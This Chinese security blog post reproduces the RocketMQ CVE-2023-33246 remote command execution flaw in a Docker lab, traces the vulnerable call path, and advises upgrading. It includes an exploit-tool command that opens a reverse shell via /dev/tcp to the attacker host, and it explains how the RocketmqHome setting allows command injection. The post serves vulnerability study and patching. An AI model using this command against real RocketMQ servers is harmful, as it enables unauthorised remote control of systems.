RocketMQ RCE漏洞验证分析

admin 2024年10月24日22:37:49评论29 views字数 2747阅读9分9秒阅读模式

RocketMQ RCE漏洞验证分析

RocketMQ是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。它是阿里巴巴双十一购物狂欢节和众多大规模互联网业务场景的必备基础设施。

RocketMQ RCE漏洞验证分析
01

漏洞概述

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

02

影响范围

Apache RocketMQ <= 5.1.0Apache RocketMQ <= 4.9.5
03

验证场景

本次实验使用的主机为kali
kali1(攻击机)172.16.82.132kali2(环境搭建)172.16.82.133
docker进行环境搭建
docker pull apache/rocketmq:4.9.1docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -d -p 9876:9876 --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
创建broker.conf
brokerClusterName = DefaultCluster brokerName = broker-a brokerId = 0 deleteWhen = 04 fileReservedTime = 48 brokerRole = ASYNC_MASTER flushDiskType = SYNC_FLUSH brokerIP1 = 172.17.0.2
//namersrv容器ip
启动broker
docker run -d -p 10911:10911 -p 10909:10909 -v ~/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv -e "JAVA_OPTS=-Drocketmq.namesrv.addr=172.17.0.2:9876-Dcom.rocketmq.sendMessageWithVIPChannel=false" -t apacherocketmq/rocketmq-console:2.0.0
访问
http://172.16.82.133:8899/

RocketMQ RCE漏洞验证分析

看到此页面,说明漏洞环境已经搭建完成。

04

漏洞复现

工具下载
https://github.com/SuperZero/CVE-2023-33246/tree/main
攻击语句
java -jar CVE-2023-33246.jar -ip "172.16.82.133" -cmd "bash -i >& /dev/tcp/172.16.82.132/9999 0>&1"
本地监听9999端口看反弹结果(容器没有ifconfig命令)

RocketMQ RCE漏洞验证分析

05

漏洞分析

漏洞的调用链:
FilterServerManager.start() --> FilterServerManager.createFilterServer() --> FilterServerUtil.callShell(cmd, log)-->FilterServerUtil.FilterServerUtil()

RocketMQ RCE漏洞验证分析

在FilterServerUtil类的callShell方法中使用了Runtime.getRuntime().exec(cmdArray)执行系统命令,并且执行的命令来自该函数的shellString。这样的话,如果找到一条调用链可以调用到callShell方法,并且参数可控,就可以造成RCE。

RocketMQ RCE漏洞验证分析在FilterServerManager的createFilterServer()中调用了callShell方法,createFilterServer方法调用了callShell方法执行命令。

createFilterServer方法做了三件事:
1、获取配置计算了一个int型变量more
2、调用buildStartCommand()构造一个需要执行的命令的字符串
3、当more大于0时,调用了callShell方法执行命令

RocketMQ RCE漏洞验证分析

在buildStartCommand()中有问题的是这一部分
String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(),config);
这句代码的作用是获取配置中的RocketmqHome,然后替换掉sh %s/bin/startfsrv.sh %s的第一个%s
如果我们能控制配置中的RocketmqHome,就可以拼接上前面的sh,执行任意命令
06

漏洞修复

建议用户升级到5.1.1或更高版本才能使用RocketMQ 5.x或4.9.6或更高版本才能使用RocketMQ 4.x。
下载链接:
https://rocketmq.apache.org/download/

-=[感·谢·阅·读]=-

关于我们

星网实验室(starnetlabs)成立于2021年10月,是智网安云(武汉)信息技术有限公司旗下安全研究院实验室之一,其成员主要来源于国内一线安全厂商或监管执法机构,多名成员取得CISSP,CISP,PMP,CISAW,PTE等国内网络安全圈行业认证证书,该实验室研究员多次参加国内和省内网络安全攻防比赛取得佳绩。实验室主要研究方向:网络安全攻防竞赛、最前沿的攻防技术,云计算安全、物联网安全等。形成一支结构合理、创新能力强的产学研队伍。星网实验室将持续沉淀前沿安全能力,面向产业输出业蓝军网络安全对抗工具、红队攻击武器平台、蜜网平台、大数据安全管理中心等产品,并持续开放各项核心能力,推动产业安全能力建设。护航各行业数字化变革,守护大数据时代的网络安全是星网实验室的使命。

原文始发于微信公众号(星网实验室):RocketMQ RCE漏洞验证分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月24日22:37:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RocketMQ RCE漏洞验证分析https://cn-sec.com/archives/1864506.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息